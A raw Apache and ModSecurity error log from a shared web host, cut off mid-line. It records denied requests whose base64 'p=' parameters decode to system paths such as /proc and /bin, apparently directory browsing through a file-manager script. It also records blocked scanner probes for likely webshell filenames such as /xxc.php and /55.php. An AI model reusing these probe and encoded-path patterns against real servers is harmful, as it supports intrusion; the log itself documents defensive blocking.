https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:08:01.624084 2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:08:01.731898 2026] [access_compat:error] [pid 531797:tid 531896] [remote 57.141.14.2:30889] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:01.732308 2026] [access_compat:error] [pid 531797:tid 531896] [remote 57.141.14.2:30889] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:01.747647 2026] [access_compat:error] [pid 531797:tid 531934] [remote 57.141.14.90:45748] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:01.748152 2026] [access_compat:error] [pid 531797:tid 531934] [remote 57.141.14.90:45748] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:01.974236 2026] [security2:error] [pid 531155:tid 531308] [client 191.233.234.186:60615] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/momo.php"] [unique_id "ai3w4SmiP80klyS0NnroUgAAASE"] [Sat Jun 13 18:08:01.992128 2026] [security2:error] [pid 531797:tid 532114] [client 191.234.188.123:20799] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/lef.php"] [unique_id "ai3w4cTA7b1mZrmcA-8N2AAAAoc"] [Sat Jun 13 18:08:02.191357 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:02.191824 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:02.204168 2026] [proxy:error] [pid 531155:tid 531239] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:02.204250 2026] [proxy_http:error] [pid 531155:tid 531239] [remote 167.71.103.240:58389] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:08:02.205285 2026] [proxy:error] [pid 531155:tid 531239] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:02.205327 2026] [proxy_http:error] [pid 531155:tid 531239] [remote 167.71.103.240:58389] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:08:02.232045 2026] [access_compat:error] [pid 531797:tid 531986] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS80Mw== [Sat Jun 13 18:08:02.232471 2026] [access_compat:error] [pid 531797:tid 531986] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS80Mw== [Sat Jun 13 18:08:02.262648 2026] [security2:error] [pid 531155:tid 531237] [remote 17.246.15.61:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 61.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w4imiP80klyS0NnroWwABcVE"] [Sat Jun 13 18:08:02.333093 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:08:02.333532 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:08:02.375757 2026] [access_compat:error] [pid 531797:tid 531967] [remote 57.141.14.18:63582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:02.376043 2026] [access_compat:error] [pid 531797:tid 531967] [remote 57.141.14.18:63582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:02.389116 2026] [security2:error] [pid 531797:tid 531900] [remote 17.241.219.33:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 33.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w4sTA7b1mZrmcA-8N5AACYyQ"] [Sat Jun 13 18:08:02.519933 2026] [security2:error] [pid 531797:tid 532032] [client 191.234.188.123:64580] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/tymi.php"] [unique_id "ai3w4sTA7b1mZrmcA-8N6AAAAjc"] [Sat Jun 13 18:08:02.551075 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.105:38516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:02.551524 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.105:38516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:02.647969 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yNw== [Sat Jun 13 18:08:02.648401 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yNw== [Sat Jun 13 18:08:02.652813 2026] [access_compat:error] [pid 531155:tid 531221] [remote 57.141.14.64:48146] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:02.653136 2026] [access_compat:error] [pid 531155:tid 531221] [remote 57.141.14.64:48146] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:02.659150 2026] [security2:error] [pid 531155:tid 531271] [remote 17.241.75.32:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w4imiP80klyS0NnrobAABYHM"] [Sat Jun 13 18:08:02.683190 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:08:02.683469 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:08:03.132867 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yOQ== [Sat Jun 13 18:08:03.133168 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yOQ== [Sat Jun 13 18:08:03.136360 2026] [security2:error] [pid 531797:tid 532004] [client 172.171.3.232:49715] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/admin.php"] [unique_id "ai3w48TA7b1mZrmcA-8OAQAAAhw"] [Sat Jun 13 18:08:03.194384 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:03.194687 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:03.256311 2026] [access_compat:error] [pid 531797:tid 531989] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:08:03.256588 2026] [access_compat:error] [pid 531797:tid 531989] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:08:03.312210 2026] [access_compat:error] [pid 531797:tid 531884] [remote 57.141.14.28:29684] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:03.312506 2026] [access_compat:error] [pid 531797:tid 531884] [remote 57.141.14.28:29684] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:03.435237 2026] [security2:error] [pid 531797:tid 531904] [remote 17.22.245.138:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 138.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w48TA7b1mZrmcA-8ODgACYSg"] [Sat Jun 13 18:08:03.694444 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2Jyb3RsaQ== [Sat Jun 13 18:08:03.694745 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2Jyb3RsaQ== [Sat Jun 13 18:08:03.796630 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:08:03.797001 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:08:03.961673 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.12:43208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:03.961955 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.12:43208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:04.045464 2026] [security2:error] [pid 531797:tid 531944] [remote 220.181.108.101:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 101.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w5MTA7b1mZrmcA-8OIwACYFA"] [Sat Jun 13 18:08:04.095891 2026] [security2:error] [pid 531155:tid 531257] [remote 220.181.108.105:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 105.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w5CmiP80klyS0NnroiQABPmU"] [Sat Jun 13 18:08:04.097534 2026] [access_compat:error] [pid 531155:tid 531185] [remote 57.141.14.13:56983] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:04.097860 2026] [access_compat:error] [pid 531155:tid 531185] [remote 57.141.14.13:56983] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:04.132405 2026] [security2:error] [pid 531797:tid 532089] [client 191.234.188.123:26338] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/55.php"] [unique_id "ai3w5MTA7b1mZrmcA-8OJQAAAm4"] [Sat Jun 13 18:08:04.198158 2026] [security2:error] [pid 531797:tid 532039] [client 191.234.188.123:47937] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/xxc.php"] [unique_id "ai3w5MTA7b1mZrmcA-8OKgAAAj4"] [Sat Jun 13 18:08:04.247487 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNA== [Sat Jun 13 18:08:04.247786 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNA== [Sat Jun 13 18:08:04.347575 2026] [security2:error] [pid 531797:tid 531889] [remote 17.22.253.239:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 239.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w5MTA7b1mZrmcA-8OLQACHhk"] [Sat Jun 13 18:08:04.379255 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:08:04.379541 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:08:04.393389 2026] [access_compat:error] [pid 531797:tid 531924] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2xpYjY0L3Blcmw1L0NPUkU= [Sat Jun 13 18:08:04.393758 2026] [access_compat:error] [pid 531797:tid 531924] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: 